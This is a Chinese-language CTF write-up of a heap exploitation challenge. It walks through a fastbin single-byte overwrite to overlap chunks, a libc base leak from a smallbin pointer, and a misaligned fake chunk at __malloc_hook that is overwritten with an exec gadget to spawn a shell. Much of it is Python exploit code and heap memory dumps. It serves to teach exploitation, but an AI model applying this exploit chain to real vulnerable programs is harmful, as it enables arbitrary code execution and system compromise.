Leak

之前已经能够分配堆到任意地址了,由于程序保护开的太多,地址随机化,程序装载地址也随机化。

想leak 的 got表地址都不知道。

tricks

看了wp才猛然醒悟。

fastbin list

fastbin在释放后,由于其单链表。构造堆块如下

def bab_leak(io):
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0x8)
    bab_alloc(io, 0xf0) # baby[5]
    bab_alloc(io, 0xf0) # baby[6]

首先构造了6个块(主要是为了后面利用方便)

接着释放1和3构成单链表

bab_free(io, 1)
bab_free(io, 3)
000055AA5CC97000  0000000000000000 0000000000000021
000055AA5CC97010  0000000000000000 0000000000000000
000055AA5CC97020  0000000000000000 0000000000000021
000055AA5CC97030  0000000000000000 0000000000000000
000055AA5CC97040  0000000000000000 0000000000000021
000055AA5CC97050  0000000000000000 0000000000000000
000055AA5CC97060  0000000000000000 0000000000000021
000055AA5CC97070  000055AA5CC97020 0000000000000000
000055AA5CC97080  0000000000000000 0000000000000021
000055AA5CC97090  0000000000000000 0000000000000000
000055AA5CC970A0  0000000000000000 0000000000000101

000055AA5CC97070 这个地址处,指向了前一个fastbin,由于FIFO,下次alloc的时候会先alloc到000055AA5CC97070对应的堆,然后从链表上删除,如果在alloc一次,就获取000055AA5CC97020对应地址的堆块。

overwrite one byte

由于各种保护开,连要leak的地址都不知道。所以这里可以通过覆盖一个字节来实现leak

000055AA5CC97070对应000055AA5CC97020。但是可以覆盖最低位为任意值。

    # overwrite fastbin list
    payload = "df".ljust(8, '2') + p64(0) + p64(0) + p64(0x21) + chr(0xa0)
    bab_fill(io, 2, len(payload), payload)

构造以上payload

000055AA5CC97040  0000000000000000 0000000000000021 
000055AA5CC97050  3232323232326664 0000000000000000 
000055AA5CC97060  0000000000000000 0000000000000021 
000055AA5CC97070  000055AA5CC970A0 0000000000000000
000055AA5CC97080  0000000000000000 0000000000000021
000055AA5CC97090  0000000000000000 0000000000000000
000055AA5CC970A0  0000000000000000 0000000000000101

将最低位覆盖成0xa0(baby[5]的最低位0xa0),刚好是baby[5]地址。

接下来两次alloc,这两次alloc中第二次alloc的地址就到了baby[5]。但是要注意的是,刚开始我分配的baby[5]的块大小和fastbin的不一样,所以还要改块头

    # fake fastbin
    payload = "df".ljust(8, '4') + p64(0)*2 + p64(0x21)
    bab_fill(io, 4, len(payload), payload)

这样之后再两次alloc

mov     esi, 1          ; size
mov     rdi, rax        ; nmemb
call    calloc
mov     [rbp+var_8], rax
cmp     [rbp+var_8], 0
-------------------------------------------
EAX 000055AA5CC970B0
------------------------------------------------
000055AA5CC970A0  0000000000000000 0000000000000021 
000055AA5CC970B0  0000000000000000 0000000000000000 
000055AA5CC970C0  0000000000000000 0000000000000000

此时baby[3]和baby[5]其实可以理解为一样了

leak

在有了两个重叠的块之后,如果释放一个,那么另外一个就可以读free之后第一个块的信息了

arena

由于不知道got表地址,只能同leak出small bin的头指针。malloc源码中是将其定义为static,所以其相对于libc的偏移是固定的。

先将之前修改的baby[5]大小改回来,然后释放baby[3]

    payload = "df".ljust(8, '4') + p64(0)*2 + p64(0x101)
    bab_fill(io, 4, len(payload), payload)
    bab_free(io, 3)

释放3之后baby[5]

000055AA5CC970A0  0000000000000000 0000000000000101
000055AA5CC970B0  00007F44B7693B78 00007F44B7693B78
000055AA5CC970C0  0000000000000000 0000000000000000
000055AA5CC970D0  0000000000000000 0000000000000000

接下来就直接读baby[5]就有smallbin头指针了

    # leak the fd and bk
    bab_dump(io, 5)
    data = io.recv(8)
    libc_base_addr = u64(data)-0x3C3B78
    return libc_base_addr

Hook

现在有了libc的地址。和之前的一样,通过fastbin dup的方式来利用。

由于fastbin dup要使得所想要读写的地址块满足堆的基本结构。而got表肯定是不行的(0x7FFFXXX这样,大小就已经不满足了)

同时,程序中got什么的地址都不知道,这里需要通过覆盖libc的hook表来利用。难点在于满足堆的结构

Shift

又一个巧妙的手法

00007F44B7693AF0  00007F44B7692260 0000000000000000
00007F44B7693B00  00007F44B7355270 00007F44B7354E50
00007F44B7693B10  0000000000000000 0000000000000000

这里是malloc hook表附近的值,看起来大小还是不对,但是,换一种查看方式

00007F44B7693AED  44B7692260000000 000000000000007F
00007F44B7693AFD  44B7355270000000 44B7354E5000007F

向后shift 0x0d,明显满足fastbin的大小要求了,而且P位也是为1,代表前面的块在使用,也不会造成fastbin free时异常了。

申请到这个块之后,覆盖hook malloc为libc中的execv,然后调用一次malloc就触发shellcode了

    payload = "df".ljust(8, '2') + p64(0)*0xc + p64(0x71) + p64(libc_base_addr+malloc_hook_off)
    bab_fill(io, 8, len(payload), payload)
    bab_alloc(io, 0x60)    # alloc 7
    raw_input("free list status")
    bab_alloc(io, 0x60)    # alloc 9
    payload = '\x00'*3 + p64(0)*2 + p64(exec_bin_addr)
    bab_fill(io, 9, len(payload), payload)
    bab_alloc(io, 0x100)

results matching ""

    No results matching ""